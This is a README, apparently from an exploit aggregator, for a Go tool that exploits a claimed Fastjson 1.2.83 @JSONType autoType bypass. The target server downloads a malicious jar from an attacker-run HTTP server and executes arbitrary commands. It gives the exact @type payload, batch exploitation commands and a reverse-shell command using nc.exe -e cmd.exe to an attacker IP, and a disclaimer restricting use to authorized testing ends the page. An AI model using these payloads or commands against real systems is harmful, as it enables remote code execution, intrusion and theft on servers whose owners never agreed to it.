## https://sploitus.com/exploit?id=138E0948-5040-5211-9E9C-B4FFB77FF0BB
# Fastjson 1.2.83 @JSONType RCE Exploit Tool
> A Fastjson 1.2.83 `@JSONType` annotation bypassing RCE exploit tool, implemented in pure Go. No external dependencies required for a single file; supports batch detection/bypass.
## Tool Features
- **Pure Go Implementation** — No Java/ASM/Python dependencies required; runs as a single binary.
- **Pure Go Bytecode Generation** — Handcrafted JVM class files, dynamically generating malicious classes at runtime.
- **Batch Detection** — Concurrently checking whether vulnerabilities exist.
- **Batch Bypass** — Multi-threaded simultaneous sending of payloads.
- **Custom Commands** — Supports launching calculators, reverse shells, and executing arbitrary system commands.
- **Automatic IP Conversion** — Automatically converts the attacker’s IP into an integer, avoiding issues with `replace('.', '/')`.
- **Cross-platform** — Precompiled binaries available for Windows and Linux.
## Vulnerability Details
In Fastjson 1.2.83, there is an `@JSONType` annotation that detects path vulnerabilities. An attacker can create a `@type` value like `jar:http:..IP_INT:PORT.evil!.Exploit`, which, after being replaced by `replace('.', '/')`, becomes `jar:http://IP_INT:PORT/evil!/Exploit.class`. `LaunchedURLClassLoader` will remotely download and load the malicious class, triggering arbitrary command execution. [Related test environment: [fastjson-vuln-env](https://github.com/your-username/fastjson-vuln-env)]
## Project Structure
```
fastjson-exploit/
├── main.go # Source code of the Go-based exploit tool (with detailed Chinese comments)
├── go.mod # Go module definition
├── fastjson-exploit-windows-amd64.exe # Precompiled Windows binary
├── fastjson-exploit-linux-amd64 # Precompiled Linux binary
├── asm-version/ # ASM version of the exploit script (requires Java + asm.jar)
│ ├── Gen.java # ASM malicious class generator
│ └── exploit.ps1 # PowerShell one-click exploit script
└── README.md
```
## Quick Usage
### Using Precompiled Binaries
```bash
# Single target bypass (launching a calculator)
fastjson-exploit -t http://192.168.0.112:8080 -c calc
# Batch detection
fastjson-exploit -f targets.txt --detect
# Batch bypass
fastjson-exploit -f targets.txt -c calc --threads 20
# Custom command (executing whoami)
fastjson-exploit -t http://target:8080 -c "whoami"
# Reverse shell
fastjson-exploit -t http://target:8080 -c "nc.exe -e cmd.exe 192.168.1.100 4444"
# Customting the Jar server address and port
fastjson-exploit -t http://target:8080 -c calc --host 192.168.1.100 --port 9999
```
### Compiling from Source Code
```bash
# Compiling Windows binary
GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags '-s -w' -o fastjson-exploit-windows-amd64.exe main.go
# Compiling Linux binary
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags '-s -w' -o fastjson-exploit-linux-amd64 main.go
```
## Parameter Descriptions
| Parameter | Default Value | Description |
|---|---|---|
| `-t` | | Single target URL (e.g., `http://192.168.0.112:8080`) |
```
`-f` | | Target list file (one URL per line, `#` starts as a comment) |
`-e` | `/api/parse` | Vulnerability endpoint path |
`-c` | `calc` | Command to execute |
`--host` | Automatic detection | Jar server listening IP |
`--port` | `28080` | Jar server port |
`--detect` | `false` | Only detect without exploitation |
`-o` | | Result output file |
`--threads` | `10` | Number of concurrent threads |
`--timeout` | `15s` | HTTP timeout |
## Working process
1. Automatically detect the attacker’s IP and convert it to an integer (to avoid damage caused by replace('.’, '/')).
2. Generate the malicious class bytecode using pure Go:
- Class name = jar:http://IP_INT:PORT/evil!/Exploit
- Include the `@JSONType` annotation (bypass autoType=false)
- Default constructor (`V`) required for instantiating with fastjson
- Static block executes `Runtime.exec(cmd)`
3. Package it into evil.jar (in ZIP format).
4. Start the HTTP server to provide jar downloads at the /evil path.
5. Send the payload to the target concurrently:
{"@type":"jar:http:..IP_INT:PORT.evil!.Exploit","x":1}
6. The target’s JVM downloads the jar, loads the class, executes it, and achieves RCE.
## Technical details
### Why use an integer IP? In fastjson, `typeName.replace('.', '/')` is used internally. If using `192.168.0.112`, it will be replaced to `192/168/0/112`. Using an integer like `3232235632` avoids the dot symbol and doesn’t cause replacement issues.
`jar:http:..3232235632:28080.evil!.Exploit`
-> replace('.’, '/')
-> jar:http://3232235632:28080/evil!/Exploit
### Why does the class need a default constructor? After fastjson loads the class, it calls `Constructor.newInstance()` to instantiate it. A constructor without parameters is required (`V`), otherwise, it will report "default constructor not found". During instantiation, the JVM will first execute the static block, thereby executing the command. ### Why use `..` instead of `://`? In the payload, the `@type` value uses `..` instead of `://` because fastjson replaces `.` with `/`, turning two dots into `//`. ### Why is the path /evil instead of /evil.jar? In the URL `jar:http://IP:PORT/evil!/Exploit.class`, the part before `!` is the full URL. The JVM downloads this URL directly, and the request path is `/evil`. ## ASM version of the exploit script
The `asm-version/` directory provides alternatives based on Java ASM. You need JDK 8 and asm-9.6.jar:
```powershell
cd asm-version
.\exploit.ps1
```
This script will automatically download ASM dependencies, compile Gen.java, generate evil.jar, start the HTTP server, and send the payload. ## Common issues
### Q: Why does it say "autoType intercepted"? The target may not have started with `java -jar` (ClassLoader is AppClassLoader), or safeMode may be enabled. Use the `--detect` mode to check the target’s conditions. ### Q: Why does it say "default constructor not found"? This indicates that the class was loaded successfully but lacks a default constructor (fixed in newer versions). Please recompile the source code. ### Q: The exploit succeeded, but no calculator appeared? Check whether the command is correct. On Windows, the default command is `calc`; on Linux, commands like `xcalc` or `id` can be used. The target may not have a graphical interface; try commands like `whoami` instead. ### Q: What if the JVM cached the old jar? The JVM will cache JAR files downloaded from `jar:http://`. Each test can use a different `--port` to avoid caching, or restart the target JVM. ## Disclaimer
This tool is intended only for security research and authorized penetration testing purposes. Do not use it on unauthorized systems. Any actions taken using this tool are at the user’s own responsibility.
[source-iocs-preserved url=http://192.168.0.112:8080`）,http://IP:PORT/evil!/Exploit.class`,http://IP_INT:PORT/evil!/Exploit.class`，`LaunchedURLClassLoader`,http://`]